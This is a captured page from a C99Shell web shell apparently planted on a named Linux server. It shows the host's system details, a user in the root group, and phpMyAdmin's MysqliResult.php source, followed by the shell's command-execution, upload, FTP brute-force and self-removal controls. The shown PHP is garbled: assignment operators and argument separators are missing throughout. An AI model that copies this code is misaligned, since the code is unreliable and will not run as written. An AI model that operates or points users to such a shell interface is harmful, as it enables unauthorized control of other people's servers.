!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/public_html/phpmyadmin/libraries/classes/Dbal/   drwxr-xr-x
Free 28.64 GB of 117.98 GB (24.28%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MysqliResult.php (6.26 KB)      -rwxr-x---
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Extension independent database result
 */

declare(strict_types=1);

namespace 
PhpMyAdmin\Dbal;

use 
Generator;
use 
mysqli_result;
use 
PhpMyAdmin\FieldMetadata;
use 
Webmozart\Assert\Assert;

use function 
array_column;
use function 
is_array;
use function 
is_bool;
use function 
is_string;
use function 
method_exists;

use const 
MYSQLI_ASSOC;

/**
 * Extension independent database result
 */
final class MysqliResult implements ResultInterface
{
    
/**
     * The result identifier produced by the DBiExtension
     *
     * @var mysqli_result|null $result
     */
    
private $result;

    
/**
     * @param mysqli_result|bool $result
     */
    
public function __construct($result)
    {
        
$this->result is_bool($result) ? null $result;
    }

    
/**
     * Returns a generator that traverses through the whole result set
     * and returns each row as an associative array
     *
     * @psalm-return Generator<int, array<string, string|null>, mixed, void>
     */
    
public function getIterator(): Generator
    
{
        if (! 
$this->result) {
            return;
        }

        
$this->result->data_seek(0);
        
/** @var array<string, string|null> $row */
        
foreach ($this->result as $row) {
            yield 
$row;
        }
    }

    
/**
     * Returns the next row of the result with associative keys
     *
     * @return array<string,string|null>
     */
    
public function fetchAssoc(): array
    {
        if (! 
$this->result) {
            return [];
        }

        
$row $this->result->fetch_assoc();

        return 
is_array($row) ? $row : [];
    }

    
/**
     * Returns the next row of the result with numeric keys
     *
     * @return array<int,string|null>
     */
    
public function fetchRow(): array
    {
        if (! 
$this->result) {
            return [];
        }

        
$row $this->result->fetch_row();

        return 
is_array($row) ? $row : [];
    }

    
/**
     * Returns a single value from the given result; false on error
     *
     * @param int|string $field
     *
     * @return string|false|null
     */
    
public function fetchValue($field 0)
    {
        if (
is_string($field)) {
            
$row $this->fetchAssoc();
        } else {
            
$row $this->fetchRow();
        }

        return 
$row[$field] ?? false;
    }

    
/**
     * Returns all rows of the result
     *
     * @return array<int, array<string,string|null>>
     */
    
public function fetchAllAssoc(): array
    {
        if (! 
$this->result) {
            return [];
        }

        
// This function should return all rows, not only the remaining rows
        
$this->result->data_seek(0);

        
// Pre PHP 8.1 when compiled against libmysql doesn't support fetch_all
        
if (method_exists($this->result'fetch_all')) {
            return 
$this->result->fetch_all(MYSQLI_ASSOC);
        }

        
$rows = [];
        while (
$row $this->result->fetch_assoc()) {
            
$rows[] = $row;
        }

        return 
$rows;
    }

    
/**
     * Returns values from the first column of each row
     *
     * @return array<int, string|null>
     */
    
public function fetchAllColumn(): array
    {
        if (! 
$this->result) {
            return [];
        }

        
// This function should return all rows, not only the remaining rows
        
$this->result->data_seek(0);

        
// Pre PHP 8.1 when compiled against libmysql doesn't support fetch_all
        
if (method_exists($this->result'fetch_all')) {
            return 
array_column($this->result->fetch_all(), 0);
        }

        
$rows = [];
        while (
$row $this->result->fetch_row()) {
            
$rows[] = $row[0];
        }

        return 
$rows;
    }

    
/**
     * Returns values as single dimensional array where the key is the first column
     * and the value is the second column, e.g.
     * SELECT id, name FROM users
     * produces: ['123' => 'John', '124' => 'Jane']
     *
     * @return array<string, string|null>
     */
    
public function fetchAllKeyPair(): array
    {
        if (! 
$this->result) {
            return [];
        }

        
Assert::greaterThanEq($this->result->field_count2);

        
// This function should return all rows, not only the remaining rows
        
$this->result->data_seek(0);

        
// Pre PHP 8.1 when compiled against libmysql doesn't support fetch_all
        
if (method_exists($this->result'fetch_all')) {
            return 
array_column($this->result->fetch_all(), 10);
        }

        
$rows = [];
        while (
$row $this->result->fetch_row()) {
            
$rows[$row[0] ?? ''] = $row[1];
        }

        return 
$rows;
    }

    
/**
     * Returns the number of fields in the result
     */
    
public function numFields(): int
    
{
        if (! 
$this->result) {
            return 
0;
        }

        return 
$this->result->field_count;
    }

    
/**
     * Returns the number of rows in the result
     *
     * @return string|int
     * @psalm-return int|numeric-string
     */
    
public function numRows()
    {
        if (! 
$this->result) {
            return 
0;
        }

        return 
$this->result->num_rows;
    }

    
/**
     * Adjusts the result pointer to an arbitrary row in the result
     *
     * @param int $offset offset to seek
     *
     * @return bool True if the offset exists, false otherwise
     */
    
public function seek(int $offset): bool
    
{
        if (! 
$this->result) {
            return 
false;
        }

        return 
$this->result->data_seek($offset);
    }

    
/**
     * returns meta info for fields in $result
     *
     * @return array<int, FieldMetadata> meta info for fields in $result
     */
    
public function getFieldsMeta(): array
    {
        if (! 
$this->result) {
            return [];
        }

        
$fields = [];
        foreach (
$this->result->fetch_fields() as $k => $field) {
            
$fields[$k] = new FieldMetadata($field->type$field->flags$field);
        }

        return 
$fields;
    }

    
/**
     * Returns the names of the fields in the result
     *
     * @return array<int, string> Fields names
     */
    
public function getFieldNames(): array
    {
        if (! 
$this->result) {
            return [];
        }

        
/** @var list<string> $column */
        
$column array_column($this->result->fetch_fields(), 'name');

        return 
$column;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--